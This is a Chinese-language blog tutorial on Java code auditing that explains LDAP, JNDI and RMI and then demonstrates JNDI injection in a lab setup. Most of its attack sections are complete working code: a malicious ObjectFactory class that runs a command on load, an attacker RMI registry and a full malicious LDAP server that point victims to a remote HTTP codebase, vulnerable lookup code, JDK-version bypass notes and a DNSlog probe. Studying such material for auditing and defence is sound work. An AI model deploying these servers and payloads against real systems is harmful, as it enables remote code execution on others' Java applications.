Java代码审计14之JDNI注入以及rmi和Ldap的利用

文章目录

  • 1、Jndi、Ldap、Rmi协议
      • 1.1、什么是ladp协议
      • 1.2、jndi协议
      • 1.3、rmi协议
  • 2、jndi注入
      • 2.1、简介与jdk版本限制
      • 2.2、rmi协议的利用
        • 2.2.1、更换idea的执行jdk版本
        • 2.2.2、生成恶意class文件payload
        • 2.2.3、模拟测试低版本jdk
        • 2.2.4、模拟高版本测试
      • 2.3、rmi攻击的疑问之两个两个步骤
  • 3、ladp协议利用
      • 3.1、测试ldap
      • 3.2、不同jdk版本的测试
  • 4、dns探测

1、Jndi、Ldap、Rmi协议

1.1、什么是ladp协议

LDAP(Lightweight Directory Access Protocol)是一种用于访问和维护分布式目录信息的协议。

官方说法总是比较绕,举个ldap的例子,
假设有一个大型公司,该公司的员工和组织结构分布在多个地区和部门。

为了有效地管理所有员工的信息和公司的组织结构,

该公司决定使用LDAP来创建一个分布式目录服务。


在这个LDAP目录中,每个员工都有一个唯一的标识(通常是DN,即Distinguished Name),

类似于身份证号码。每个员工的信息都以条目(Entry)的形式存储在目录中。例如:

	DN: cn=John Doe, ou=Sales, dc=company, dc=com
	
	(其中,cn代表Common Name,ou代表Organizational Unit,dc代表Domain Component)

	这条条目表示一个名为"John Doe"的员工,
	
	他隶属于"Sales"部门,所在的公司域名为"company.com"。


LDAP允许执行各种查询,例如:

	查询所有在"Sales"部门工作的员工列表。
	
	查询特定员工的联系信息(例如,通过员工的Common Name来查找其电话号码)。
	
	更新员工信息(例如,更改电话号码)。
	
	添加新的员工信息。
稍微引申,类似的效果,如mysql这种数据库似乎也可以,为什么没有使用msyql数据库?

看下chatgpt的回答,

Java代码审计14之JDNI注入以及rmi和Ldap的利用_第1张图片

综上所述,大部分的公司的域控管理(需要定位到部门和具体员工的软件)都会对接使用ldap

1.2、jndi协议

上面我们了解了什么是ladp协议,那么在Java程序中,

就是通过JNDI协议来操作(增删改查)LDAP服务中的数据。


jndi可以理解为java程序提供的一个统一的api接口,

通过jndi我们不仅可以操作ldap服务中的数据,还可以联动操作其他的服务协议,

	比如:JDBC、LDAP、RMI、DNS、NIS、CORBA

在这些协议中,安全从业者用的比较多的就是 LADP、RMI、DNS 

这里需要补充的一点是,

但在 Java 中,JNDI 提供了便利的接口让我们更容易的使用 LDAP 和 DNS;

但是LDAP、RMI和DNS都是可以不依赖JNDI而独立工作的

1.3、rmi协议

在了解了jndi与ldap协议之后,还有dns和rmi,

dns就是域名解析,这个大家基本都有一个概念,

这里就稍微展开一些rmi协议,
RMI(Remote Method Invocation)是Java语言中用于实现远程过程调用的机制。

它允许在不同Java虚拟机(JVM)上运行的程序之间通过网络通信来进行方法调用和数据传输,

实现分布式计算和远程服务调用。



个人的理解就是我写好一些方法,放到网络服务上,大家不必关系这些方法具体是如何实现的,

直接通过rmi协议加载调用即可,和一些web的api的功能类似。

需要注意的是,RMI是Java特有的远程调用机制,它只适用于Java之间的通信。

在现代的分布式系统中,

更常见的做法是使用Web服务(如RESTful API和SOAP)或消息队列(如RabbitMQ和Apache Kafka)等跨平台、跨语言的远程调用方式。

另外需要注意的就是,定义远程接口和实现都有一定的格式和要求

举例子说明,

一个简单的接口RemoteCalculator表示远程计算器,

其中定义了两个方法:
	
		add和subtract,用于执行远程加法和减法操作。
  1. 定义远程接口:

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RemoteCalculator extends Remote {
    int add(int a, int b) throws RemoteException;
    int subtract(int a, int b) throws RemoteException;
}

  1. 实现远程接口:

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class CalculatorImpl extends UnicastRemoteObject implements RemoteCalculator {

    public CalculatorImpl() throws RemoteException {
        // 构造函数需要抛出RemoteException
    }

    public int add(int a, int b) throws RemoteException {
        return a + b;
    }

    public int subtract(int a, int b) throws RemoteException {
        return a - b;
    }
}

  1. 服务器端:

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) {
        try {
            // 创建远程对象
            RemoteCalculator calculator = new CalculatorImpl();

            // 启动RMI Registry,监听默认端口1099
            Registry registry = LocateRegistry.createRegistry(1099);

            // 将远程对象绑定到RMI Registry上,客户端将通过该名称来查找远程对象
            registry.rebind("Calculator", calculator);

            System.out.println("服务器已启动...");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

  1. 客户端:

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
    public static void main(String[] args) {
        try {
            // 连接到RMI Registry
            Registry registry = LocateRegistry.getRegistry("localhost", 1099);

            // 在RMI Registry中查找远程对象
            RemoteCalculator calculator = (RemoteCalculator) registry.lookup("Calculator");

            // 调用远程方法
            int resultAdd = calculator.add(10, 5);
            int resultSubtract = calculator.subtract(10, 5);

            System.out.println("10 + 5 = " + resultAdd);
            System.out.println("10 - 5 = " + resultSubtract);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

在这个例子中,我们创建了一个简单的RMI服务器和客户端。
	
服务器端创建了CalculatorImpl对象,并将其绑定到RMI Registry上。

客户端通过RMI Registry查找到Calculator对象,并调用其中的远程方法进行计算。

这样,客户端就可以在远程调用的帮助下执行服务器端的方法,并获得计算结果。

2、jndi注入

2.1、简介与jdk版本限制

JNDI 注⼊,即当开发者在定义 JNDI 接⼝初始化时,lookup() ⽅法的参数可控,

攻击者就可以将恶意的url 传⼊参数远程加载恶意载荷,造成注⼊攻击。

其中使用ladp协议多,rmi协议用的少是因为高版本默认不能直接使用rmi协议

Java代码审计14之JDNI注入以及rmi和Ldap的利用_第2张图片

漏洞代码demo,

代码中定义了 uri 变量,uri 变量可控,并定义了⼀个 rmi 协议服务,
 
rmi://127.0.0.1:1099/Exploit 为攻击者控制的链接,

最后使⽤ lookup() 函数进⾏远程获取 Exploit 类

	(Exploit 类名为攻击者定义,理论任意),并执⾏它

package com.example.demo2;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://127.0.0.1:1099/Exploit";            // 指定查找的 uri 变量
        InitialContext initialContext = new InitialContext();   // 得到初始⽬录环境的⼀个引⽤
        initialContext.lookup(uri);                             // 获取指定的远程对象
    }

}

常见的攻击流程

Java代码审计14之JDNI注入以及rmi和Ldap的利用_第3张图片

2.2、rmi协议的利用

先说下rmi协议的利用,需要注意的是

当前的jdk版本是 jdk112,jdk113以后 不存在此漏洞 ⼤多数⽤ldap协议攻击

2.2.1、更换idea的执行jdk版本

所以,我们先加载几个jdk的版本到idea,然后修改项目执行的jdk版本,

需要先将一些常用的jdk版本都收集下,直接解压,加载目录选择bin上一层即可

Java代码审计14之JDNI注入以及rmi和Ldap的利用_第4张图片

接着配置本项目使用哪个jdk运行,我们先配置一个低版本的jdk

Java代码审计14之JDNI注入以及rmi和Ldap的利用_第5张图片

2.2.2、生成恶意class文件payload

根据上边的流程,我们先构建下最终的恶意payload,实现弹出计算器

注意,这个exp,不要放在这种“com.example.demo2”包内,

这样生成的class文件被目标服务器加载会报错,

Java代码审计14之JDNI注入以及rmi和Ldap的利用_第6张图片

右击选择“重新构建”,选择“构建模块”的话,仅仅会在第一次生成class文件,

假设删除这个class文件,在“构建模块”就不会重新生成class文件,“重新构建”就ok

生成的class文件在这个target文件夹内可以找到

Java代码审计14之JDNI注入以及rmi和Ldap的利用_第7张图片

然后将这个生成的class文件放到kali机器上,开启http服务等待受害者机器来请求

代码,


import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
//package com.example.demo2;        增加会出错


public class jndiexp implements ObjectFactory {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

2.2.3、模拟测试低版本jdk

目前版本:1.8.0_65

黑客准备的恶意rmi服务,java文件
	
	RMI_Hack_Server.java

将上面生成的class文件放到了另一个kali机器上,这个Reference函数的第一个参数任意写,

第二个参数就是上面class文件的名称(不用加.class);第三个参数是class文件的http地址

package com.example.demo2;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMI_Hack_Server {
    public static void main(String[] args) throws Exception {
        //System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true ");
        //监听RMI服务端⼝
        Registry registry = LocateRegistry.createRegistry(7778);
         创建⼀个远程的JNDI对象⼯⼚类的引⽤对象      第一个参数任意写
        Reference reference = new Reference("jndiexp", "jndiexp", "http://192.168.1.27:8081/");
        // 转换为RMI引⽤对象,
        // 因为Reference没有实现Remote接⼝也没有继承UnicastRemoteObject类,故不能作为远程对象bind到注册中⼼,
        // 所以需要使⽤ReferenceWrapper对Reference的实例进⾏⼀个封装。
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        //绑定⼀个恶意的Remote对象到RMI服务
        registry.bind("exp", wrapper);
    }
}

这个是受害者的业务代码,

Rmi_Target_Server.java


package com.example.demo2;
import javax.naming.InitialContext;
import javax.naming.NamingException;


public class Rmi_Target_Server  {
    public static void main(String[] args) throws NamingException, NamingException {
        String uri = "rmi://127.0.0.1:7778/exp";
        //System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        //初始化上下⽂
        InitialContext initialContext = new InitialContext();
        // 获取RMI绑定的恶意ReferenceWrapper对象
        initialContext.lookup(uri);
    }
}

先执行RMI_Hack_Server.java,在执行Rmi_Target_Server.java

直接弹出了计算器,但是我们kali并没有接收到请求。

这是因为rmi在利用的过程之中,会先尝试读取本地的class,本地不存在才会去读取远程的,

所以本地做实验,记得把生成的class删除,

Java代码审计14之JDNI注入以及rmi和Ldap的利用_第8张图片

在次运行Rmi_Target_Server.java即可

2.2.4、模拟高版本测试

上面jdk版本是1.8_65,将测试jdk换为1.8_151

此时就需要设置参数了,这行代码是用于设置Java系统属性,具体作用如下:

	在Java中,当使用RMI(远程方法调用)技术进行远程通信时,
	
	可能会涉及到Java对象的序列化和反序列化,其中涉及到URL的使用。
	
	RMI允许在网络上传递Java对象,这些对象可以是在本地计算机上创建的,也可以是远程计算机上创建的。
	
	此参数在低版本的jdk是默认开启的,但高一些的就默认是false,所以需要手动开启
	
假设不设置会报错,

Java代码审计14之JDNI注入以及rmi和Ldap的利用_第9张图片

设置此代码之后,一样可以弹出计算器,
上面jdk版本是1.8_151,将测试jdk换为1.8_202,再次进行测试

发现即使设置了com.sun.jndi.rmi.object.trustURLCodebase属性为true

也没有发出http请求,更不要说弹计算器了

假设不设置com.sun.jndi.rmi.object.trustURLCodebase属性为true,也是直接报错

所以在高版本的jdk,ldap会使用的比较多

2.3、rmi攻击的疑问之两个两个步骤

笔者在学习这个漏洞的时候就在思考一个问题,还是先看完整的攻击流程,

Java代码审计14之JDNI注入以及rmi和Ldap的利用_第10张图片

当时的疑问是,

	为什么需要两步骤,即先请求rmi服务器拿到“恶意代码1”

	然后根据返回的“恶意代码1”去请求http服务拿到“恶意代码2”
	
	在执行“恶意代码2”的内容,完成攻击

直接第一步就返回恶意代码,返回让目标服务器执行不就好了

这个和rmi服务的本质运转模式有关系,先简单回顾rmi服务的作用

rmi服务就是让a服务器上的jvm虚拟器运行远程网上上b服务器上的java函数

在这这个过程之中,rmi服务器的作用是类似 DNS 服务器的角色。


RMI 注册表类似于一个名字服务,它允许客户端通过指定的名称查找远程资源,

类似于 DNS 允许客户端通过域名查找服务器的 IP 地址。


在整个攻击过程中,RMI 服务器实际上只充当了“资源指向”的作用,就像一个名字服务一样,

将客户端的查询请求映射到相应的远程对象。攻击者利用 RMI 注入漏洞来控制客户端查询的结果,

使其获取恶意的远程资源,然后执行恶意代码。

简单的小结下,

rmi客户端(目标服务器)需要请求一个rmi服务器(hacker搭建的),

只能拿到一个要执行函数名称yy和这个函数的地址xx

然后rmi客户端在请求http://xx/yy拿到最终的恶意代码,然后执行


rmi服务器就不能返回“最终的恶意代码”,这个和整个rmi服务架构设计的流程有关

rmi服务器的作用就是返回“要执行的函数名称”和这个函数在哪里


而对于 LDAP 协议,攻击者同样可以在恶意服务器上创建恶意的 LDAP 资源,

例如恶意的 LDAP 对象或恶意的 LDAP URL。当客户端执行 JNDI 查询时,

会连接到恶意的 LDAP 服务器,并获取恶意资源。


在这两种协议中,恶意的服务器充当了 "资源指向" 的角色,

将客户端的查询请求指向恶意资源。客户端不知情地获取到了恶意的资源,

并在后续操作中可能触发恶意代码的执行。


以上都是笔者的理解,有问题,欢迎各位来指导沟通

3、ladp协议利用

3.1、测试ldap

先配置环境pom.xml,

        <dependency>
            <groupId>com.unboundid</groupId>
            <artifactId>unboundid-ldapsdk</artifactId>
            <version>6.0.8</version>
        </dependency>
然后测试和上面一致,下边是代码。

注意,修改pom文件之后,重新构造项目本地还会在生成jndiexp.class文件

而本地有这个文件,服务器就不会去远程读取,记得删除这个生成的文件

ldap_Hack_server.java

package com.example.demo2;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class ldap_Hack_server {
    private static final String LDAP_BASE = "dc=example,dc=com";
    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://192.168.1.27:8081/#jndiexp"};
        int port = 7777;
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }
    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        private URL codebase;
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult
                                                  result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }
        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

ldap_target_Server.java


package com.example.demo2;

import javax.naming.InitialContext;
import javax.naming.NamingException;
public class ldap_target_Server {
    public static void main(String[] args) throws NamingException {
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("ldap://127.0.0.1:7777/Exp");
    }
}

3.2、不同jdk版本的测试

使用1.8_65和1.8_151都可以直接触发,

也不用设置“com.sun.jndi.rmi.object.trustURLCodebase”属性


但是1.8_202还是j了,

即使设置“com.sun.jndi.rmi.object.trustURLCodebase”属性,也没有发出请求

4、dns探测

不受jdk版本限制,不能直接利用,可以用于探测漏洞是否存在,

虽然报错了,但是还是去访问了,

Java代码审计14之JDNI注入以及rmi和Ldap的利用_第11张图片
代码,


package com.example.demo2;

import javax.naming.InitialContext;
import javax.naming.NamingException;
public class ldap_target_Server {
    public static void main(String[] args) throws NamingException {
        InitialContext initialContext = new InitialContext();
        //initialContext.lookup("ldap://127.0.0.1:7777/Exp");
        initialContext.lookup("dns://dns.y6u1ft.dnslog.cn");
    }
}

你可能感兴趣的:(代码审计,java,开发语言)